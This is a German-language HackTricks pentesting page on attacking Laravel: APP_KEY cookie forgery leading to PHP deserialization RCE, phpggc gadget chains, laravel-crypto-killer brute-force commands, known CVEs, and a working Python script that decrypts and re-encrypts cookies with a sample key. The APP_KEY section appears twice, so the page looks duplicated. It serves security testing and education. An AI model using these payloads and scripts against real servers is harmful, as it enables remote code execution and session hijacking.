13 KiB
Raw Blame History

Laravel

{{#include ../../banners/hacktricks-training.md}}

Laravel SQLInjection

Lesen Sie Informationen dazu hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Verschlüsselungsinternas (Laravel \u003e=5.6)

Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (Illuminate\\Encryption\\Encrypter). Der rohe Chiffretext, der schließlich an den Client gesendet wird, ist Base64 eines JSON-Objekts wie:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) wird standardmäßig serialize() den Klartext, während decrypt($payload, $unserialize=true) automatisch unserialize() den entschlüsselten Wert. Daher kann jeder Angreifer, der den 32-Byte-Geheimschlüssel APP_KEY kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (__wakeup, __destruct, …) erlangen.

Minimal PoC (Framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injiziere den erzeugten String in jede verwundbare decrypt() Senke (Routenparameter, Cookie, Sitzung, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatisiert den gesamten Prozess und fügt einen praktischen bruteforce Modus hinzu:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC/Tag-Feld.


Reale verwundbare Muster

Projekt Verwundbare Senke Gadget-Kette
Invoice Ninja ≤v5 (CVE-2024-55555) /route/{hash}decrypt($hash) Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987) XSRF-TOKEN Cookie, wenn Passport::withCookieSerialization() aktiviert ist Laravel/RCE9
Crater (CVE-2024-55556) SESSION_DRIVER=cookielaravel_session Cookie Laravel/RCE15

Der Exploit-Workflow ist immer:

  1. APP_KEY beschaffen (Standardbeispiele, Git-Leak, config/.env-Leak oder Brute-Force)
  2. Gadget mit PHPGGC generieren
  3. laravel_crypto_killer.py encrypt …
  4. Payload über den verwundbaren Parameter/Cookie liefern → RCE

Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie (XSRF-TOKEN und normalerweise laravel_session) setzt, leaken öffentliche Internet-Scanner (Shodan, Censys, …) Millionen von Chiffretexten, die offline angegriffen werden können.

Wichtige Ergebnisse der von Synacktiv veröffentlichten Forschung (2024-2025):

  • Datensatz Juli 2024 » 580 k Tokens, 3,99 % Schlüssel geknackt (≈23 k)
  • Datensatz Mai 2025 » 625 k Tokens, 3,56 % Schlüssel geknackt
  • 1 000 Server sind weiterhin anfällig für das Legacy-CVE-2018-15133, da Tokens direkt serialisierte Daten enthalten.

  • Hohe Schlüsselwiederverwendung die Top-10 APP_KEYs sind hartkodierte Standardwerte, die mit kommerziellen Laravel-Vorlagen (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.

Das private Go-Tool nounours erhöht die AES-CBC/GCM-Bruteforce-Durchsatzrate auf ~1,5 Milliarden Versuche/s, wodurch das Knacken des vollständigen Datensatzes auf <2 Minuten reduziert wird.


Referenzen

Laravel Tricks

Debugging-Modus

Wenn Laravel im Debugging-Modus ist, können Sie auf den Code und sensible Daten zugreifen.
Zum Beispiel http://127.0.0.1:8000/profiles:

Dies wird normalerweise benötigt, um andere Laravel RCE CVEs auszunutzen.

.env

Laravel speichert den APP, den es zur Verschlüsselung der Cookies und anderer Anmeldeinformationen verwendet, in einer Datei namens .env, die über einige Pfadüberquerungen unter: /../.env zugänglich ist.

Laravel zeigt diese Informationen auch auf der Debug-Seite an (die erscheint, wenn Laravel einen Fehler findet und aktiviert ist).

Mit dem geheimen APP_KEY von Laravel können Sie Cookies entschlüsseln und erneut verschlüsseln:

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Anfällige Versionen: 5.5.40 und 5.6.x bis 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Hier finden Sie Informationen über die Deserialisierungsanfälligkeit: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Sie können es testen und ausnutzen mit https://github.com/kozmic/laravel-poc-CVE-2018-15133
Oder Sie können es auch mit metasploit ausnutzen: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Eine weitere Deserialisierung: https://github.com/ambionics/laravel-exploits

Laravel SQLInjection

Lesen Sie Informationen darüber hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

Laravel SQLInjection

Lesen Sie Informationen darüber hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel verwendet AES-256-CBC (oder GCM) mit HMAC-Integrität im Hintergrund (Illuminate\\Encryption\\Encrypter). Der rohe Chiffretext, der schließlich an den Client gesendet wird, ist Base64 eines JSON-Objekts wie:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) wird standardmäßig serialize() den Klartext, während decrypt($payload, $unserialize=true) automatisch unserialize() den entschlüsselten Wert. Daher kann jeder Angreifer, der den 32-Byte-Geheimschlüssel APP_KEY kennt, ein verschlüsseltes PHP-serialisiertes Objekt erstellen und RCE über magische Methoden (__wakeup, __destruct, …) erlangen.

Minimal PoC (Framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injiziere den erzeugten String in jede verwundbare decrypt() Senke (Routenparameter, Cookie, Sitzung, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatisiert den gesamten Prozess und fügt einen praktischen bruteforce Modus hinzu:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Das Skript unterstützt transparent sowohl CBC- als auch GCM-Payloads und regeneriert das HMAC/Tag-Feld.


Verwundbare Muster in der realen Welt

Projekt Verwundbare Senke Gadget-Kette
Invoice Ninja ≤v5 (CVE-2024-55555) /route/{hash}decrypt($hash) Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987) XSRF-TOKEN Cookie, wenn Passport::withCookieSerialization() aktiviert ist Laravel/RCE9
Crater (CVE-2024-55556) SESSION_DRIVER=cookielaravel_session Cookie Laravel/RCE15

Der Exploit-Workflow ist immer:

  1. APP_KEY beschaffen (Standardbeispiele, Git-Leak, config/.env-Leak oder Brute-Force)
  2. Gadget mit PHPGGC generieren
  3. laravel_crypto_killer.py encrypt …
  4. Payload über den verwundbaren Parameter/Cookie liefern → RCE

Da jede frische Laravel-Antwort mindestens 1 verschlüsseltes Cookie (XSRF-TOKEN und normalerweise laravel_session) setzt, leaken öffentliche Internet-Scanner (Shodan, Censys, …) Millionen von Chiffretexten, die offline angegriffen werden können.

Wichtige Ergebnisse der von Synacktiv veröffentlichten Forschung (2024-2025):

  • Datensatz Juli 2024 » 580 k Tokens, 3,99 % Schlüssel geknackt (≈23 k)
  • Datensatz Mai 2025 » 625 k Tokens, 3,56 % Schlüssel geknackt
  • 1 000 Server sind weiterhin anfällig für das Legacy-CVE-2018-15133, da Tokens direkt serialisierte Daten enthalten.

  • Hohe Schlüsselwiederverwendung die Top-10 APP_KEYs sind fest codierte Standardwerte, die mit kommerziellen Laravel-Vorlagen (UltimatePOS, Invoice Ninja, XPanel, …) ausgeliefert werden.

Das private Go-Tool nounours erhöht die AES-CBC/GCM-Bruteforce-Durchsatzrate auf ~1,5 Milliarden Versuche/s und reduziert das Knacken des vollständigen Datensatzes auf <2 Minuten.


Referenzen

{{#include ../../banners/hacktricks-training.md}}